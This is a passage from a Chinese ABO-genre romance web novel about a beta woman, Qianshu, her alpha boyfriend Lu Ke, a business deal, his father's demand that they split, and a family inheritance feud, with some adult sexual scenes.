千述坐在旁边,快速过了一遍ppt上的内容。她能做的就是让自己这边尽善尽美,但是最后能否被选择,决策权并不在她的身上。 “您好,请问是今天预约的人吗?”有一位员工微笑着走到他们面前。 千述站起身,道:“是的。” “好的,各位随我上去吧。”助理笑着给千述他们带路。 电梯往上面升的时候,心脏的跳动速度也会跟着变快。 这一层楼几乎都是市场部的员工,大家都在聚精会神的工作,偶尔也能听见走动讨论的声音。 助理把他们带到了小型的会客厅:“周经理还在开会,所以需要大家稍等一会。” “请问大概需要多久?”龚阳阳问。 “这个我也不确定呢。”助理笑答,随 后离开了。 千述他们在会客厅里等了接近一个小时,最后那位周经理才姗姗来迟。 他脸上没有任何的歉意,坐在椅子上看着手表,直白道:“不用绕弯子,把你们的产品直接拿出来吧,我没有太多时间听你们讲。” 龚阳阳和谢丁辰一怔,有点慌张。 千述面色坦然,她起身,将准备好的东西在会客厅的屏幕上放映。龚阳阳和谢丁辰忙将打印好的资料发给对面坐着的周信。 “千言集团主要的业务就是制造车灯,今天带来的这款车灯,主要想合作的是贵司后面要出的一款车” 千述站在办公桌前面,平静坦荡,条理清晰。他们这边制作的合作方案,内容详尽充分,花费了很多的心思。 但是时间有限,千述就挑了里面最重要,最有优势的内容讲,尽量说的简略又不失其完整性。 周信本来是没时间来听这个三个小年轻来讲合作的,他很忙。但是听助理说预约好几次了,周信还是想着,给年轻人一个机会。 他时不时翻看着对方递来的资料,又抬头看着千述的讲解。表情虽然没什么变化,但是心里却从最开始的不以为然到后面稍微认真了一些。 这个合作方案确实是用了心的,做的很好,也很有吸引力。 原本只有十分钟的时间,但是周信感兴趣就多问了几句,谈了接近二十分钟。 最后周信道:“你们也知道,陆氏有自己熟悉的供货商,基本不会选择外面的厂商。” 这话拒绝的意思太明显了,龚阳阳和谢丁辰没说话,但是心脏已经跌入谷底,觉得这次估计没戏。 周信看着千述,这位明显是三人当中最能说上话的人,道:“合作方案我先收下了,如果后续有幸合作,我们这边会邮件通知你们。” “好。”千述点头,她站起身向周信伸出右手,道:“希望有幸跟贵司合作。” 周信也跟千述握了握手,然后出了会客厅。 ———————————— 之前千述和罗玉兰会偶尔在周末聚餐,最近谢宁导师让她提前进组,她就回了学校。 今天三个人难的得聚在一起约饭。 “我知道动漫行业很肝,没想到加班这么多,我真是头发都掉不少。现在已经用上保温杯了。” 上菜的时候罗玉兰开始猛猛吐槽,她已经有很长一段时间,每天加班到晚上九点,十点才下班,回到家收拾一下就十二点。 真的是太恐怖了。 这次好不容易下班早一点。 谢宁吃着先端上来的甜品,道:“社畜是这样的,要早日习惯。” “不,给我五年十年也习惯不了,真把人当驴使了。”罗玉兰咬了一口冰激凌,愤愤道。 “谁不是呢,本来在家美美过着暑假,第二天就来学校坐牢了,果然只有考上的那一刻是开心的。”谢宁也叹气,觉得命苦。 千述低声的笑,觉得大家很可爱。 “千述,要不你以后开公司,然后把我招进去,我就开始躺平。”罗玉兰开始天马行空了,说着不着边际的话。 千述还真认真思考了一下,道:“可是就算我开公司,也是科技公司。我又不懂动漫那套,你来我这儿岂不是屈才了。” “也是。”罗玉兰点头道,期盼朋友成龙成凤,带着自己趟飞的梦想破灭。 三个人边吃边聊,又因为今天是周五,明天周末,所以大家都点了酒,喝的微醺 千述的冷淡是在不经意间的,如果你不仔细观察,很难发现。 就比如说,在千述和大家聚完餐的时候,她喝了酒,陆恪说来接她。 千述会礼貌拒绝,说:“不用麻烦,我自己打车回来就行,正好罗玉兰跟我顺……”路 “嘟嘟嘟——” 陆恪很生气,直接将电话挂了,连千述的话都还没说完。 千述面色平静的把手机收起来,没说话继续吃。罗玉兰和谢宁在对面看着,意识到可能气氛有点不对。 “怎么了,陆恪说要来接你?”谢宁问道。 千述“嗯”了一声。 罗玉兰超绝钝感力,她笑着摆摆手道:“我还以为多大事儿呢!就让陆恪来接你呗。千述你不用担心我,我在A市待了这么多年,走不丢的!” 谢宁也道:“我可以跟罗玉兰一起回去,今晚跟她睡。” 罗玉兰租的是一室一厅的整租,尽管面积不大,但是A市的房租更不便宜。 餐厅里很热闹,交谈欢笑声不绝于耳。 千述低头,夹着碗里的菜,又不太有胃口,最后放下筷子。 “算了。”千述道。 “什么?”罗玉兰没听清,餐厅里说话的人太多了。 千述抬眼,餐厅的灯光落在她的眼里,深邃不见底。 “算了,不合适。”千述轻声叹息。 “这有什么不合适的!是他主动说要来的,又不是你要求他来的。”罗玉兰搞不懂千述的话。 千述没说话,微微勾唇,然后轻轻摇头 回去的时候,上车的地方,有卖花的小摊,十块,二十块的都有,千述顺手选了一束。 快到云栖御庭的时候,千述让司机停在了远一点的地方,走回去散散酒味儿。 千述走在昏黄的路灯下,旁边是偶尔飞驰而过的汽车,只有影子跟在她的左右,如影随形。 千述又想起,她一些往日的时光。 她刚到千朝家里的时候,就发现千朝和贺诚军的关系并不好。贺诚军不经常回家,千朝也没有太多的管束。 她身体一直不算好,尤其是到了千述高中的时候,千朝经常在住院,不时常回来。 千述那时候已经在读高二,她在高中申请的住宿,一个月才能放两天假。今天她刚好放月假回家。 在路过贺诚军的房间时,门只是松松的合上,以至于里面的alpha和omega信息素交缠的气味传了出来,在走廊上气味也很浓烈。 里面的omega的低吟和alpha的怒吼声混在一起,时而高亢,时而低迷。 千述的脚步一僵,她早已经学过生理课,意识到里面正在做着什么样的事情。 但是千朝是beta,她是没有信息素的。 这是千述第一次直观的认识“性”,以养父出轨的方式。 千述只觉得恶心。 里面omega低媚的声音,带着虚荣:“我和那个beta,谁让你更舒服?” 不知道贺诚军弄了哪里,omega娇喘一声,他不依,还要让贺诚军继续回答:“你说啊!我和那个女beta谁让你更舒服。” “你。”贺诚军低哑道。 “我和她早就没做这个事儿了,她是beta又没有信息素,在床上也无趣,没什么反应。哪里有omega舒服呢。” omega娇声笑,调情一般。里面又开始颠鸾倒凤。 千述很多次在千朝的病床前都想说这件事,但是她并不确定千朝是否爱着贺诚军,且她孱弱的身体是否可以承受丈夫出轨的事实。 再后来,千朝就去世了 千述觉得自己可能是有些喝醉了,所以总是想到以前。 她摇摇头,把脑袋里太多的想法给赶出去,不至于让心情很down。然后脑海里最后留下的就是被陆恪挂掉的电话。 当时千述只是说可以自己回,然后陆恪就把电话猛地挂了。 啧,这脾气 千述想到等会儿回去要哄人,就有点头疼。 千述抱着花,打开门的时候,客厅里很昏暗,窗帘都拉了起来,只有沙发旁的夜灯开着。 留着暧昧的,暖黄的光。 沙发上伏着一个身影。 千述把花放在桌上,缓缓走上前,轻声道;“怎么不开灯?” 沙发上的身影动了一下,银铃声脆响,陆恪很慢的抬起头来,柔软的头发上竖着两只蓬松的猫耳。 这很像电影里的一帧画面,幻化成人的猫妖,穿着不合身的衣服 ,第一次见到人类。 千述怔在原地,敛着长睫,幽深的目光落在陆恪的脸上,一时没有动作。 陆恪见千述不动,内心的难过都要溢出来了。他抬起修长的腿,勾住千述的腰,不由分说的把人拉了过来。 陆恪眼尾泛着红,像是刚刚哭过,又莫名带着媚态。他语气有点凶:“做正事开什么灯。” “过来。” 第56章 第56章小猫女仆 如果陆恪是一个粗心大意的人,或许他就无法察觉千述行为中的疏远。 但偏偏陆恪是那种心思敏感细腻,又超级拧巴的人。 是怎么察觉到的呢? 大概是千述开始在睡觉时翻过身,背对着他。 卧室里只亮着一盏床头灯,昏暗的光线勾勒出千述的侧影。千述侧卧在边缘,身影清瘦,两人中间空出来的距离,足以躺下一个人。 这短短的距离就宛如天堑一般,再难进一步,让人不知所措。 陆恪的视线在千述身上长久的停留,仿佛丝线一般,缠绕着千述。 但千述似乎没有受到任何的影响,她已经闭着双眼,开始酝酿着睡意。 身后温热的体温缠了上来,陆恪轻轻的拥抱着千述。alpha的体温很高,在空调开得稍低的房间里,被alpha抱在怀里会觉得暖烘烘的。 陆恪开始亲吻千述的后颈,耳垂。细密的吻落下,带着讨好和依赖。他轻声的唤着千述,低语一般,萦绕在千述耳边: “千述千述。” 但是千述仍旧没有什么反应,仿佛对陆恪的亲吻完全的没兴趣,对陆恪也没了兴趣。 苦涩开始悄悄的浸透心脏,还带着难以控制的恐慌和委屈,让心脏变得皱巴巴的。 千述怎么可以这样对待他。 真的太坏了。 陆恪的大脑开始滑向偏执和黑暗,他的亲吻开始逐渐往下,到被子下面。 昏暗的房间里,千述睁开双眼。她感受着陆恪的吻落在她的腰上,还想继续往下。 千述叹息一声,把人拉了上来。 因为缺氧,陆恪的脸上已经染着绯红,艳若桃李,纤长的睫毛颤动着,如振翅蝶翼。 “现在太晚了,我明天还要上班,真的没有这方面的想法。”千述有些无奈的说。 很温和礼貌的语气,不太像面对伴侣的语气。 “你撒谎!” 陆恪突然爆发了,眼底汹涌潮湿,他似乎再也忍不住压抑的情绪,尾音都在颤抖。 “千述,你在撒谎。” “你以为你藏得很好吗?你连我牵你的手都下意识躲开,甚至连睡觉都不肯面对着我,难道我是蠢货察觉不出来?” 陆恪真的控制不住眼泪,他真的恨死了千述这幅平静疏离的样子。 从医院回来以后,千述就是这样。她以为她藏得很好,但是陆恪见过她喜欢他的样子,怎么会察觉不出来千述的变化。 爱消散的时候,被爱过的人总是最先察觉。 千述张了张嘴,又不知道要说什么。 她注视着陆恪泪湿的眼,昏暗的灯光落在陆恪含着泪光的眼里,好似一颗剔透的琉璃,脆弱又美丽。 “千述,你后悔了是吗?现在觉得我是alpha,觉得易感期太麻烦,所以你后悔了。” “可当初是你先追我的,难道你是第一天知道我是alpha,知道我们不合适的吗?” 陆恪眼睛都哭红了,几乎哽咽,带着抽泣。他实在憋了太久的情绪,难过又伤心。每天提心吊胆的害怕,揣摩着千述的心思。 “甚至你你让我在下面,我都答应你了。你想要想要什么姿势,玩什么玩具我都依着你,我脸都不要了,我一个alpha睡在你的身下。” “如果你敢抛下我,我永远都不会原谅你。” 陆恪一边放着狠话,一边哭,但眉眼依然漂亮得惊人,锐利张扬。 千述靠近陆恪,抬手,很温柔的给陆恪擦眼泪,轻轻的摩挲着他的眉眼。 她总是被陆恪吸引,被他身上火焰一般鲜活的生命力勾住视线。 哪怕清楚并不合适,但对于从小循规蹈矩,小心克制的千述而言,陆恪实在太鲜活耀眼了,忍不住让人靠近。 情不知所起,一往而深 那天晚上两人没做什么,最后冷漠的背对着睡觉,宛如隔着一堵情绪的墙。 后面就好像冷战了。 千述还是正常的去上班,忙碌着。陆恪开始不跟千述讲话,哪怕千述有时候跟他搭话,他也爱答不理,赌着气,后来千述也不怎么说了。 两人之间的气氛就越发的凝滞。 千述有时候会加班,很晚才回来,大概十点多的样子。 玄关亮着灯,昏黄温馨,像是等待着归家的人。陆恪靠在沙发上,低垂着眼玩手机,屏幕的灯光映在他的脸上,神情有些淡。 陆恪不承认自己在等千述回家。 他只是不想睡觉而已。 方知明在跟陆恪一起玩游戏,玩了几把,能看出来陆恪脾气很冲,火气很大。连破三路高地,打爆对面的水晶。 给对面都打破防了。 陆恪不想玩了,兴致缺缺,跟方知明说了一声就退出了游戏。 现在已经九点了,但是千述还是没回来。陆恪刷了会儿手机,又打开微信,点开跟千述的对话框。 “你什么时候回来?” 删掉。 “你为什么每次都这么晚回来,借着加班的理由躲我?” 删掉。 “你爱回来不回来!” 气愤删掉。 陆恪烦的要死,揪着沙发上千述送他的九色鹿玩偶,愤愤的揪它的犄角。 九色鹿的玩偶萌萌的,笑眯眯的样子,跟千述眯眼笑一个样子,陆恪看着就来气。 他戳了几下小鹿的额头,气道:“就知道欺负我,就知道冷落我,也不哄我一下。” “讨厌你!” 陆恪把玩偶抱在怀里,下巴靠在小鹿的头上,无所事事的刷手机,等着千述下班。 自从跟千述恋爱以后,陆恪就关注了很多情侣博主,有时候会专门学一下情侣之间的二三事,让自己和千述在恋爱中多一点情趣和新鲜感。 虽然有时候千述get不到,但是陆恪乐此不疲。 他刚打开app,就看到首页第一条帖子的文案。 “当我穿上女仆装,不理我的女朋友开始对我上下其手。” 配图是暧昧的灯光下,一个男人穿着女仆装,带着项圈,跪坐在镜子面前。 陆恪瞬间被这条帖子吸引了目光,他点开帖子,逐字阅读。 帖子大意就是讲,博主的beta女朋友最近不知道怎么了,对他不如以前热情。每次博主想亲近,女朋友都说上班很累,没心情。 陆恪看到这里,觉得世上怎么会有人跟他如此的同病相怜,不禁用自己的小号给他点了个赞,然后继续往下看。 博主因为女朋友的冷淡,特别伤心。一筹莫展之际,想到之前女朋友分享过女仆装视频给他,但是博主当时觉得太羞耻了,一直没答应。这次偷偷买了女仆装穿给她看。 女朋友果然很开心。 下面很多人评论。 1楼:“女人在外打拼很累的,就是要看这些才有力气。” 2楼:“博主不要太任性,要多体谅自己的女朋友,一天到晚上班哪有心思做那些。” 博主回复:我会体谅的。 3楼:“说实话,我们女人还是喜欢那些会讨自己开心的男人,有些男的天天吵吵吵,家都被吵散了。” 4楼:“女人辛苦打拼不就是为了这些吗,老公孩子热炕头。” 陆恪认真的翻阅着评论区,有些评论他挺认同的。陆恪又点开博主的图片看了很多眼,开始评论。 树林里的小鹿:“博主加油,你对你女朋友是真爱,让人很感动。你也不要太担心,你女朋友就是上班太累了,不是不喜欢你。” 树林里的小鹿:“对了,衣服的链接有吗? 我有一个朋友想要。” 博主回复:“私你了。” —————————————— 昏暗的灯光舔舐着沙发的一角,两道影子交叠着投在地板上,被灯光拉长。 陆恪的腿勾在千述的腰上,把人拉的近了很多。因为千述拒绝陆恪去接她,陆恪被气得不行。 千述的视线宛如实质,她的目光从上而下的扫过陆恪的全身。从毛茸茸的猫耳,到脖颈间的项圈坠着银铃铛,到最后穿着的黑白短款女仆装。 因为陆恪抬腿的动作,裙摆落到大腿根,露出修长笔直,线条分明的双腿。 千述的眼神像深秋平静的湖,表面平静,水下却暗藏波涛。灯光落在她的睫毛上,投下一片阴影。 “为什么今天穿这样的衣服。”因为夜色,千述的声音仿佛也轻了下来,带着一点点暧昧,缠绵。 她抬手,漫不经心的拨了拨陆恪脖颈上的小铃铛,静谧的客厅里,银铃声清脆。 陆恪的脸慢慢染上粉色,他第一次这样穿,心里忐忑不安,又隐隐觉得羞耻。但是陆恪还是强撑着,抬眼看千述。 凤眼微挑,眼皮泛着红,有点媚。 “因为我在勾引你,想看你失控的样子。” 千述摩挲着陆恪的脸,闻言,动作一顿。 陆恪在千述微凉的掌心蹭了一下,仰头问道:“我现在好看吗?” 千述轻笑一声,眼底的波涛开始翻涌,平静的湖面乱了。 她抬起陆恪的下巴,吻了一下,道:“好看,像我的居家小猫女仆。” 陆恪骄矜的哼了一声:“那你怎么忍心这么晚回来,留我一人在家里。” “我要惩罚你。” 千述觉得大少爷这样实在可爱有趣,哪怕是傲娇拿乔,也只会让千述觉得心软软的,仿佛心脏要塌陷下去一块。 她没忍住又低头吻了吻陆恪的唇,揶揄道:“小猫女仆也可以惩罚主人吗?” 陆恪直接抬手勾住千述的后颈,凑上来,泄愤似的咬了千述的下唇,跟猫抓一样,轻微的疼。 “为什么不可以惩罚主人,我想怎么样就怎么样。” 千述轻轻的“啧”了一声,笑了,很有脾气的小猫女仆。 吻是很细密的,最后热烈的纠缠在一起,唇齿相依,炽热缠绵。 陆恪被亲得喘不上气,大脑一片空白。他只知道用力的抱紧千述,再紧一点,让她永远没办法推开自己。 陆恪喘息着,吩咐千述:“把我的裙子脱了,穿着弄不舒服。” 裙子的的蕾丝有点粗糙,总是磨到大腿,陆恪觉得不舒服。 “可是你这样穿着很好看,忍一忍好不好。”千述哄着他,就像哄小情人一样。 然后让他转过身去,趴好。 陆恪穿着女仆装,趴在沙发上,浑身都很烫,大汗淋漓。他受不了,用手蒙住眼睛,低声的哼着。 这个姿势进得很深,但是让陆恪没有安全感。他想转过头去亲千述。 却被扇了一巴掌,那里火辣辣的疼。千述冷漠无情道:“趴好,不准扭来扭去。” 陆恪心里的难过瞬间憋不住了,挣扎着要转过身去跟千述接吻,眼泪大颗大颗的掉,特别执拗。 “千述,我太讨厌你了。你必须永远喜欢我。” 千述真被大少爷哭得没办法,停了下来,把人抱在怀里,垂首亲他:“讨厌我,还要让我喜欢你吗?” “我不管!”陆恪有些蛮不讲理道,睫毛都被打湿了,一绺一绺的。 夜很漫长,爱也是。 ———————————— 千述和陆恪的感情好像回温,或者说变得更好了? 反正方知明是有所感觉的。 只要和千述感情好了,陆恪心情就会变好,整个人就会变得特别好说话。只要和千述吵架了,陆恪心情就会变得很down,谁都爱搭不理,很难搞定。 千述俨然成为了陆恪的晴雨表,决定着他每日的心情。 “怎么说啊,千述最近对你还不错?”方知明在旁边贱笑着,有点欠揍的模样。 连约陆恪喝咖啡都能约出来,如果心情不好,早就让方知明滚了。 陆恪慢悠悠的喝了口咖啡,好心情道:“什么叫最近对我还不错,千述一直对我都很不错。” 方知明哽住,无语凝噎。 忘了是谁前段时间打游戏跟吃了火药一样,把对面打得只差没跪下来投降了。 “行吧。”方知明也不拆穿,顺着陆恪的话接下去,“千述确实挺爱你的。” 陆恪眉眼轻轻一挑,心情更好了。 他拿着手机看消息,5分钟前,陆恪最后给千述发了消息,说他到咖啡厅了。 千述在上班,没回消息。陆恪也不在意,自己发自己的,他拍了张手拿咖啡的照片,手指修长,骨节分明。 陆恪精修一下,给千述发过去。 “咖啡好苦,一点也不好喝。” 苦涩的咖啡,不符合大少爷的口味。 陆恪在这边低头发消息,方知明也在拍窗外的景色,给对象汇报今日行程。 两个很恋爱脑的alpha,成为了好朋友。 这个咖啡厅在国贸那边,位置在核心地带,咖啡厅装潢高端,卖的自然也不便宜。 方知明的视线扫过不远处,突然皱了一下眉头,尽管他左右眼视力都5.2,但是隔得有点远,看得不算特别清楚。 一个男人在车外等着,随后女人走了过去,二人一起上车离开。 “陆哥,千述是在上班吧?”方知明转头看向陆恪,问道。 陆恪还在低头发消息,随口道:“嗯。” “哦,没事。”方知明道。 应该是看错了吧,不是千述。 第57章 第57章你是一个没有心的人 “武夷山的母本大红袍,从九龙窠母树大红袍剪枝扦插种植下来的,你尝尝。” 武夷山的母树大红袍早已停止采摘,有价无市。从母树上扦插种植的母本大红袍,仍旧十分昂贵。 茶室坐落在幽静之处,远离喧嚣。室外青竹被风吹得沙沙作响,为静谧的茶室增添几分自然的韵律。 陆凌风坐在千述对面,他泡茶的手法行云流水,一气呵成。茶汤呈红褐色,透亮,带着浓郁的香气。 陆凌风给千述面前的白瓷杯倒上,让她尝一尝这茶。 千述垂眼看着,脊背挺直,端坐如松。她面色平静,没有情绪波动。 半晌,千述端起茶杯,轻啜一口,随后放下,淡淡道:“口感醇厚,回味甘爽,确实是好茶。” “可以带一些回去给你的父亲,听闻他也喜欢喝茶,正好我这里有一些。”陆凌风笑道,端着长辈的风度。 千述敛睫,道:“这么珍贵的礼,千述恐怕受不起。” 两人坐在茶桌两端,不动如山,茶烟袅袅,凝成一道无形的结界。 陆凌风觉得千述这个小姑娘,年纪轻轻的确实了不得,能沉住气。 哪怕她今天下午被带到了这里,也没有丝毫慌乱,就安静的看着陆凌风泡茶,一句也没有多问。 但是千述能沉得住气,陆凌风却不太沉得住,他率先开口。 “听闻你养母是位beta,已经去世多年,养父是位alpha,这么多年也没有再娶,真是伉俪情深。”陆凌风端着茶杯,喝了一口,慢悠悠道。 陆凌风调查了千述,当然,这其实并不需要花费太多的功夫,因为千述的身世在陆凌风看来,没有任何的隐藏。 千述抬眼,看着陆凌风,没接话。 “只不过,你养父那边好像早就给你生了个弟弟,是个alpha。”陆凌风微笑的看着千述,道,“你知道你养父有私生子的事情吗?” 千述微微勾唇,开始有点兴趣了,道:“我当然知道啊。” “原来你知道啊。”陆凌风面上了然,内心却觉得千述这个人简直油盐不进。 “这事就是你养父做的不对,尽管alpha和beta不适合,但是既然在一起了,结为良缘,就应该携手并进。半道跟omega搞出来一个私生子,你说这多难看,是吧。” 陆凌风没说直话,旁敲侧击的说着alpha和beta并不合适。 千述低垂着,手指摩挲着茶杯,点头道:“贺诚军这事做得确实恶心。” 她都不想装模作样叫他父亲了,直呼贺诚军的大名。 “不过,”千述顿了一下,眉 眼弯弯的笑道,“可我就是喜欢alpha,我也没办法。” “你!”陆凌风一口气没憋住,被千述气到了。 他也不想装了,直接摊牌,开门见山道:“跟陆恪分手。” “凭什么呢?”千述反问道。 “凭什么?”陆凌风被气得不行,茶也喝不下去了,质问道,“你是真的喜欢陆恪吗?” “我当然喜欢他。”千述漫不经心道。 陆凌风火上眉头,道:“你的喜欢如果真诚,你和陆恪的照片就不会出现在网络上,引发网络舆论。” “你的做法很拙劣,不仅我知道,陆恪他也知道。你利用陆恪成为你跟你养父博弈的筹码。千述,这就是你说的喜欢?!” 陆凌风看着千述,看起来文文静静的,心眼子多得很!偏偏陆恪就是喜欢,跟中了邪一样。 当时照片刚被发到网上,就被陆氏集团的公关部监测到了。工作人员汇报上来的时候,陆凌风让人把消息按下去。 他去调查了千述,一查就查出来是这个女beta做的。陆凌风肯定气得很,自己儿子被拿来当棋子。 陆凌风跟陆恪说了这件事,陆恪怎么说,他说:“能帮到千述就行,我不在乎她利不利用我。” 陆凌风简直被气吐血! 他拿陆恪是一点办法没有。 “他自己心甘情愿被我利用,所以这成为不了我离开陆恪的理由。”千述不紧不慢道。 “毕竟陆总最清楚不过,陆恪家世好,长得好,对我也有用。我舍不得离开他。” “你……你简直不知廉耻!”陆凌风简直被千述这番没有道德的话,气得手抖。 他一想到自己儿子一腔真情错付,碰上千述这样冷漠无情的,陆凌风就替自己儿子心酸难过。 千述闻言,脸沉了下来,有点不耐烦了。 “如果陆总今天让我过来,就是为了骂我。那很抱歉,我没有被人骂还高兴的的癖好。” 千述站起身就准备走,没有丝毫犹豫。 “千述,难道你忍心,以后一辈子,都看着陆恪用抑制剂,伤害自己的身体吗?” “上次在医院,他很痛苦,你看到了的。” 陆凌风的声音在身后响起,这次多了几分为人父母的心酸和无奈。 千述的脚步顿住,她沉默了,没有反驳。 陆凌风在身后继续道:“你对陆恪是有感情的,否则你不会独自来争取项目,你但凡跟陆恪说了一句,千言集团那个车灯的项目都能成。” “但是你没说,你为什么不说?” 那个合作方案陆凌风也看了,做的很好,开出来的条件也很有吸引力。 他看着千述的背影,清瘦修长。他会觉得遗憾,倘若千述是个omega,这样聪慧的人,陆恪又那么喜欢,何尝不是一桩良缘。 但偏偏,偏偏命运捉弄,千述是个beta。 “你对陆恪有感情了,你不想再利用他,不想跟他纠缠太深。千述你若是真的对陆恪有几分喜欢,你就心疼心疼他,放过他。” “不要再纠缠了。” 千述背对着陆凌风,沉默得像无声的树,不发一言。 陆凌风心中一喜,以为千述被说动了。 良久,室内传来千述低声的笑。她转过身来,脸上挂着笑意,眉眼弯弯的,看着很温和。 陆凌风错愕不已。 “陆总跟我用苦情计?”千述勾唇,笑意不达眼底,看着有些冷漠。 “但是我可不吃这一套。” 千述缓缓走过去坐下,两人对峙着,呈谈判的姿态。 “想让我离开陆恪,可以。”千述直白道。 “不过我有一个条件。” “车灯的那个项目,我可以答应跟千言合作。”陆凌风忙道。 “不止。”千述平和道。 千述眼底是沉沉的黑色,一眼看不到底:“我要陆总帮我设个局。” 外面的风刮的有些大了,青竹被撕扯着,左摇右晃,哗哗作响。茶炉下的火苗却没受到太多影响,缓慢的燃烧着。 室内,茶水沸腾咕咕噜噜的声音,以及千述柔和的声音交织在一起。 陆凌风听完千述的计划,皱起眉头,道:“你这也太狠了,没给你养父留一条后路,当心他狗急跳墙,反咬你一口。” 千述挑眉,冷笑道:“斩草除根,我不可能看见我母亲的资产落入贺诚军还有他的私生子手里。” “若是陆总答应帮我,我可以选择离开陆恪,天南海北,再也不打扰他。”千述冷静道。 陆凌风盯着千述,在考虑她的诚意。千述的眼神很静,没有太多感情。 良久,陆凌风道:“我答应你,但你要向我保证,此事不能告诉陆恪半个字,事成之后你离开A市。” “去别的城市发展也好,出国发展也好,我不限制你,但是你不能出现在陆恪面前。” 闻言,千述顿了一下,眼神微动。 但是她没停留很久,点头道:“可以。” “我无法完全信任你,我会让律师起草合同,你这边必须签字,以免你日后反悔。”陆凌风谨慎道。 千述似笑非笑道:“陆总,我是很有诚信的。” 陆凌风冷哼。 —————————————— 等千述和陆凌风从茶室出来的时候,已经到了傍晚,夕阳西下。 风已经停了,外面又是一片平和的景象。 陆凌风问千述去哪里,可以送她一程,千述礼貌拒绝:“不了,我打了车。” 上车之前,陆凌风转头看了一眼千述。女beta面色淡淡的,像平静的湖面。 “千述,你是一个没有心的人,我为陆恪不值。”陆凌风坦言道。 千述微微一笑,没说话。 …… 陆凌风的车扬长而去。 落日熔金,夕阳带着白日的余温,洒下一片金黄。街道上人影憧憧,人们的影子被暮光拉得很长。 千述站在街边有些茫然,她并没有打车,因为她其实也不知道要去哪里,没有目的地。 千述很难说清现在的感受,好像自己从冷漠平静的壳子里脱出来。变得柔软,变得苦涩,变得有些难过。 风吹动着千述的头发,她低垂着眼,睫毛轻轻颤动。千述轻轻的呼了口气,抬手把散落的发丝,别在耳后。 陆恪给千述发了很多信息,千述垂首,一一的看着。 他现在有些黏人,大事小事都要给千述发消息,连喝杯咖啡也要发。 最近的一条还是十分钟前。 陆恪问她:“千述,你今晚要加班吗?什么时候才能回来啊。” 千述低头回复:“不加班。” 陆恪那边立刻就回了:“那我现在就来接你!” …… 山顶的风好像要更凉一些,吹拂在千述的脸上,感受到难得的夏日凉爽。 站在山顶,整座城市在脚下铺展开来,万千灯火在夜雾中浮动,宛若一块发光的绸缎。 九越山是A市第一山,有公路可以直通山顶。不少人会来九越山夜爬,或者开车来看九越山的日落。 “这么多年,还是第一次看到A市的全貌,真壮观。”晚风掠过耳际,千述看着远处,低声叹道。 山顶有两道身影,站在一起,离得很近,亲密无间。 这边是有路灯的,灯光在夜色中显得有些昏暗,落在千述的脸上,柔和了她的轮廓。 千述的眼眸明静如溪水,温和平静。不知道为什么,陆恪看着她的眼 睛,有些心慌。 他立刻道:“你喜欢这里,我们以后可以经常来,还可以来看日落,反正又不远。” “或者其他地方的山,其他城市的夜景,你喜欢的,我都可以陪你去看。” 这话几乎是在表白了。 千述看他紧张的样子,噗嗤一笑,道:“好啊,你陪我去。” “你在敷衍我。”陆恪看着千述盈盈笑脸,不悦道。 “我可没有。”千述摇头。 “你就是在敷衍我!”陆恪生气,他对千述的情绪,感知敏锐。 “那好吧,以后你想去什么地方我都陪你去。”千述开始哄他,甜言蜜语。 陆恪撇开脸,道:“我才不想要你陪。” “是我想陪你。”千述很有耐心,笑眯眯的,“我想陪你去,可以吗?” “不可以。”陆恪骄横道。 …… 车厢里更加黑暗,没开灯,只有窗外的路灯透过窗照了进来。 朦胧,昏暗。 唇齿交缠的啧啧水声响起,带着暧昧和潮湿。 后座上,陆恪闭着双眼,睫毛簌簌颤动着,启唇,任凭千述撬开他的牙关,探入他的口腔。 随着越发缠绵深入的吻,陆恪已经晕晕乎乎,脑子都变得不太清晰。陆恪的气息烫得厉害,只感觉被亲的喘不过气来。 陆恪头埋在千述的颈侧,哑声撒娇:“千述,我想要。” 似乎有些害羞,陆恪又黏黏糊糊的凑上去,亲吻千述的唇角,雾蒙蒙的眼睛直勾勾的盯着千述。 “我想要。”红肿的唇吐出这几个字 车内的空间好像突然就变得狭小,潮湿,让人呼吸不畅,心跳加速。 千述纤细的手指摩挲着陆恪的唇,又慢悠悠的探入他的口腔,玩儿似的。 她似笑非笑道:“没有东西怎么弄。” “我带了。”陆恪含着千述的手,含含糊糊的语气。 千述笑了,眼神开始变得深邃:“什么时候带的。” 陆恪脸上染着绯红,不敢看千述的眼睛,慢吞吞道:“出……出门的时候,你说要来约会。” “大少爷真可爱。” 车厢轻轻摇晃,像漂浮在夜色中的小船。 第58章 第58章歹竹出好笋 千述是一个冷静,理智,情感淡薄的人。在绝大数时候,她的情绪是没有波澜的。 但是也有例外。 那就是在看到陆恪的时候。 看他生气时,喷薄欲出的鲜活生命力。看他陷入欲望时,迷离秾艳的眉眼。看他哭泣时,强撑着的虚张声势。 千述总被他吸引,像是生长在阴暗处的植物会被阳光吸引,这是生理的本能。 但是也仅仅如此。 如果你跟她谈爱,或者你更加直白的问她,你爱陆恪吗? 千述会陷入怔松。她其实不太懂什么叫做爱,因为没有人教过千述什么是爱。 她出生就在孤儿院,院里几十个小朋友,漂亮的,优秀的早就被领养了。留下的都是不被选择的,平平无奇的,比如千述。 院长很爱他们,但是院长的爱要分给这么多人,落到千述头上就只剩下了一点点。 千述习惯了这样,依靠这一点点的爱和照顾成长起来。尽管只是一株柔弱的,纤细的,看起来有点营养不良的小树苗。 但千述成长了起来,很坚强。 然后遇到了千朝。 那天,千朝抱着一束花来迎接千述,粉嫩温和的花,就像千朝一般。 千朝拥抱了她,轻轻抚摸她的头发,柔和的问千述:“你愿意跟我回家吗?或者我正式一点的说,我想要领养你,你愿意吗?” 千朝很真诚的询问千述的意见。 那个时候千述已经14岁,她抿了抿唇,低声道:“您还有更好的选择。” 千述习惯了不被选择,当爱降临在她的身上时,她的第一反应是拒绝。 千朝轻笑一声,觉得面前的小孩傻的可爱。她很用力的把千述抱在怀里:“可是这么多人里,我只喜欢你啊。” 千述靠在千朝的怀里,她垂着眼睫,睫毛轻颤着。千朝的拥抱是温热的,带着淡淡的香气。千述说不出来是什么香,或许是香水,也或者只是洗衣液的香味。 千述被妈妈坚定的选择了。 千朝会给小树苗浇水,松土,施肥,把小树苗移栽在院里可以晒到阳光的地方。千述从一颗瘦弱的小树苗,变成了一棵亭亭的小树。 如果你再一次询问千述什么是爱,她可能会说,对妈妈的是爱。 ———————————— 千述的忙碌是肉眼可见的,她开始频繁的加班,很晚才回来。 千言跟陆氏的合作谈成了,贺诚军十分高兴,依言给千述调整了职位。 贺诚军本意是让他的人来接手这个项目,后续的事千述就不要参与。但是陆氏那边的项目负责人,指名道姓的要千述来跟进这个项目,贺诚军只能放权。 除了车灯的项目,陆氏和千言还谈拢了好几个合作。 